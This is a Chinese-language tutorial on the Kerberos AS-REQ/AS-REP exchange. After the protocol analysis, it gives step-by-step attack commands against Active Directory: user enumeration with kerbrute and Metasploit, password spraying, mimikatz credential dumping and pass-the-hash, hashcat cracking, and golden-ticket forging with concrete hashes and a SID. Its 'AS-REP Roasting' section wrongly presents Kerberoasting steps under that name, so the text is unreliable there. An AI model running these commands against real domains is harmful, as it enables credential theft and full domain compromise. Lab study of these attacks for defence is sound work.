文章前言
Kerberos是一种网络身份认证协议,其设计的目的是通过密钥系统为客户机/服务器应用程序提供强大的认证服务,该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入数据,在以上情况下, Kerberos作为一种可信任的第三方认证服务,通过传统的密码技术(如:共享密钥)执行认证服务
基本概念
相关术语解释如下:
- Client: 访问服务的客户机
- Server:提供服务的服务器
- KDC(Key Distribution Center):密钥分发中心,KDC由以下两个部分组成
Authentication Service(AS):身份验证服务
Ticket Granting Service(TGS):票据授予服务 - Authentication Service(AS):AS的作用是验证Client端的身份,验证通过之后,AS就会将TGT票据(Ticket Granting Ticket)给Client
- Ticket-Granting Ticket(TGT):TGT对象的ID为TGC的值,服务器端通过TGC查询TGT
- Ticket Granting Service(TGS):TGS的作用是用AS发送给Client的TGT换取访问Server端的ST(Server Ticket)给Client
- Ticket-Granting Cookie(TGC):TGC的作用是存放用户身份认证凭证的Cookie,在浏览器和CAS Server间通讯时使用,是CAS Server用来明确用户身份的凭证,TGT封装了TGC值以及此Cookie值对应的用户信息
- Server Ticket(ST):ST服务票据,由TGS服务发布
- Active Directory(AD):活动目录
- Domain Controller(DC):域控制器
认证角色
参与域认证的角色有三个:
- Client
- Server
- KDC(Key Distribution Center)=DC(Domain Controller)=AD(Account Database)+AS(Authenication Service)+TGS(Ticket Granting Service)
认证过程
Kerberos协议认证的过程如下:
步骤划分如下:
- AS-REQ与AS-REP:AS验证客户端身份
- TGS-REQ与TGS-REP:客户端获得ST
- AP-REQ、AP-REP:客户端请求服务
协议分析
分析环境
- 域控主机:Windows Server 2012 192.168.174.2
- 域内主机:Windows 7 192.168.174.3
AS-REQ
当某个域用户试图访问域内某一服务时,需要域用户提供用户名和密码并使用Kerberos协议进行域内身份认证,此时客户端会向KDC的AS认证服务请求TGT认购权证,也就向AS发送了一个AS-REQ的请求,主要包含用户名、主机名、加密类型、Autherticator:
纤细介绍如下:
a、pvno:代表Kerberos版本,这里代表kerbev5
b、msg-type:此处为此阶段的krb-as-req
c、padata:预认证信息数据 一个列表,包含若干个认证消息用于认证,每个认证消息有type和value,AS_REQ阶段主要用到的有两个:
- ENC-TIMESTAMP,预认证数据,使用用户密码的Hash作为密钥加密时间戳,加密后发送至AS,AS使用用户密码Hash进行解密,若解密成功且时间戳在范围内则认证成功
- PA_PAC_REQUEST,是否启用PAC支持的扩展,这里的PAC(Privilege Attribute Certificate)并不在原生的Kerberos里面,是微软引进的扩展,PAC包含在AS_REQ的响应Body(AS_REP)里面,这里的Value对应的是include=true或者include=false(KDC根据include的值来判断返回的票据中是否携带PAC)
d、req-body:请求数据包主体,主要包含以下部分
1)kdc-options:标志位字段
2)cname:主要包含登录用户及所在域,此处为Al1ex与Hacke,在AS_REQ里面cname是请求的用户,这个用户名存在和不存在的情况下返回的数据包有差异,所以可以用于枚举域内用户名
3)sname:被请求的服务信息,所在域名,till为到期时间,rtime绝对到期时间(若请求为可更新票据),nonce为生成的随机数
4)etype:加密类型,通过该字段的加密类型来选择用户Hash进行解密
5)addresses:客户端相关信息
AS-REP
客户端发送的AS-REQ请求凭证是用户Hash加密的时间戳,凭证在padata内,当AS收到后,AS使用用户Hash进行解密,获得时间戳,若解密成功则代表预认证成功,接着将发送响应包,响应包主要包含用Krbtgt用户Hash加密后的TGT票据及用户Hash加密的Login Session Key,具体的加密方式如下:
Send=user_NTML_Hash(Session Key)+krbtgt_NTML_Hash(Session Key+client_info1)[TGT]
正常响应的数据包如下:
简易小结
在AS_REQ&AS_REP阶段,Client与KDC之间的交互在于AS认证服务,目的是为了获得TGT认证票据,以及Login Session Key,经过该阶段Client将会使用自身密码的NTML hash解密Login Session Key(使用用户NTML Hash加密,作用是用于是用于确保客户端和KDC下一阶段之间通信安全,作为下一阶段的认证密钥)得到原始的Login Session Key,然后在本地缓存TGT票据和原始Login Session Key
安全风险
Kerberos协议的AS-REQ/AS-REP阶段总体归纳起来存在以下几个安全问题:
用户名枚举
在Kerberos协议认证的AS-REQ/AS-REP阶段,用于认证的用户名是否正确将会有不同的REQ-REP响应,攻击者可以通过该方法来枚举域内用户
首先下载工具(https://github.com/ropnop/kerbrute/releases),填写DC的IP地址、域名、想要爆破的用户名列表user.txt
kerbrute_windows_amd64.exe userenum --dc 192.168.60.1 -d hacke.testlab user.txt
对于域用户枚举MSF框架提供了对应的模块:
msf > use auxiliary/gather/kerberos_enumusers
msf auxiliary(kerberos_enumusers) > show actions
msf auxiliary(kerberos_enumusers) > set ACTION <action-name>
msf auxiliary(kerberos_enumusers) > show options
msf auxiliary(kerberos_enumusers) > run
密码喷洒攻击
根据对AS-REQ/AS-REP请求响应的Fuzz测试结果,当我们在知晓域用户名的情况下我们可以实施"密码喷洒攻击",也就是所谓的爆破密码,而其本质上是通过以下Kerberos错误代码来加以利用:
|用户状态|Kerberos错误|
|密码错误|KDC_ERR_PREAUTH_FAILED|
首先下载漏洞利用工具
https://payloads.online/scripts/Invoke-DomainPasswordSpray.txt
随后获取域环境中的用户列表
Import-Module .\Invoke-DomainPasswordSpray.ps1
Get-DomainUserList | Out-File -Encoding ascii userlist.txt
type .\userlist.txt
密码枚举
#格式
Invoke-DomainPasswordSpray -Domain 域名 -Password w!23456 -OutFile sprayed-creds.txt
#示例
Invoke-DomainPasswordSpray -Domain hacke.testlab -Password '1234Qwer!@#$' -OutFile sprayed-creds.txt
哈希传递攻击
哈希传递攻击是一种通过找到与账户相关的密码散列值(通常是NTLM Hash)来攻击的常见手法,在域环境中用户登录计算机时使用的大多都是域账号,于此同时大量的计算机在安装时可能会使用相同的本地管理账号和密码,因此如果计算机的本地管理员账户和密码也是相同,攻击者可以通过哈希传递攻击的方式登录内网中的其他计算机,另外还有一个好处就是通过哈希传递攻击,攻击者不再需要花费时间破解密码散列值(获得明密码明文),这里简单介绍一下哎NTML PTH
本地用户
使用本地账户Administrator/1234Qwer!@#$登录域内主机Windows Server 2008,之后抓取当前主机的NTLM Hash:
privilege::debug
sekurlsa::logonpasswords
之后以管理员权限运行mimikatz,并执行以下命令来连接具有相同本地管理员账户和密码(Administrator/1234Qwer!@#$)的域控主机,当然也可以是域内其他主机,只需要本地管理账号密码相同就行,执行命令后可以看到会弹出cmd.exe,之后可以通过dir来查看DC域控的C盘内容:
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.174.2 /ntlm:41945356c1b2adde08c00d0e48515b7e
域内用户
使用本地账户testuser/test@123登录域内主机Windows Server 2008,之后以管理员权限运行Mimikatz抓取当前主机的NTLM Hash:
privilege::debug
sekurlsa::logonpasswords
之后以管理员权限运行mimikatz,并执行以下命令来连接域控主机,当然也可以是域内其他主机,执行命令后可以看到会弹出cmd.exe,之后可以通过dir来查看域控主机的C盘内容:
privilege::debug
sekurlsa::pth /user:testuser /domain:192.168.174.2 /ntlm:c20a43b71503528c05c57fcbff0c78e3
AS-REP Roasting
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,该攻击方式利用比较局限,因为其需要用户账号设置"Do not require Kerberos preauthentication(不需要Kerberos预身份验证)" ,而该属性默认是没有勾选上的,这里预身份验证的主要作用是防止密码脱机爆破,该选项在开启的情况下,KDC会记录密码错误次数,防止在线爆破,当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将TGT票据和该用户Hash加密的Session Key返回,因此攻击者就可以对获取到的经用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文
常规实现
1、查询SPN,找到有价值的SPN
setspn -T hacke.testlab -Q */*
2、请求TGS
单一票据:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/win08-server.hacke.testlab"
3、导出TGS
mimikatz # kerberos::list /export
4、暴力破解(选取RC4的来破解)
python3 tgsrepcrack.py wordlist.txt 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi
之后我们还可以重写该Ticket:
python3 kerberoast.py -p "1234Rewq!@#$" -r 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi -w sql.kirbi -u 500
Rubeus
之后使用hashcat进行离线破解:
hashcat -m 13100 /root/hash.txt /root/pass.txt --force
Powershell-1
在域内一台主机上以普通用户权限执行:
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat > 1.txt
之后保存下来(注意要使用utf-8编码,否则会报错)使用hashcat进行暴力破解:
hashcat -m 13100 /root/hash.txt /root/pass.txt --force
黄金票据攻击方法
通过分析AS-REQ/AS-REP请求数据包,我们可以知道AS-REP里面的Ticket的enc-part是使用的krbtgt用户的NTLM Hash进行加密的,所以当我们拥有Krbtgt用户的NTLM Hash时就可以给我们自己签发任意用户的TGT票据,这种票据被称之为"黄金票据",下面介绍一下利用过程:
Step 1:获取krbtgt哈希值
方式一:DCSync(mimikatz)
mimikatz会模拟域控,向目标域控请求账号密码信息,这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件,需要域管理员用户或者其他类似的高权限账户
lsadump::dcsync /user:krbtgt //获得Hash NTLM:99b4cbb80c324c1601aae32c2f7925be
方式二:LSA(mimikatz)
mimikatz可以在域控的本地安全认证(Local Security Authority)上直接读取
privilege::debug
lsadump::lsa /inject /name:krbtgt
Step 2:伪造黄金票据
当前环境访问DC主机需要进行认证(可以使用klist purge清除票据记录)
关于mimikatz黄金票据的伪造可以有两类:
- 直接伪造并导入,一次完成
- 先伪造后导入,分步骤进行
方式一:使用mimikatz(伪造并注入)
Step 1:首先进入mimikatz交互界面,之后使用以下指令查看当前凭据列表
kerberos::list
如果已有凭据信息,可以通过以下指令来清空凭据,确保当前凭据列表是干净的
kerberos::purge
Step 2:使用之前得到的krbgt用户的哈希生成黄金票据
#相关参数
SID: S-1-5-21-180313546-3823935851-3686928739 //注意有时候查到的SID是"域SID"+"RID(-520)"构成的,使用时要去除RID
NTLM Hash: 99b4cbb80c324c1601aae32c2f7925be
#构造结果:
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-180313546-3823935851-3686928739 /rc4:99b4cbb80c324c1601aae32c2f7925be /user:liming /ptt
Step 3:查看票据
kerberos::list
Step 4:再次尝试访问域控
备注:其余的注入方式就不再过多的介绍了~
文末小结
本篇文章我们对Kerberos协议的AS_REQ&AS_REP认证过程进行进行了介绍,通过wireshark对流量进行了分析并结合认证特点对其中存在的安全风险点进行了介绍,同时给出了漏洞利用的实例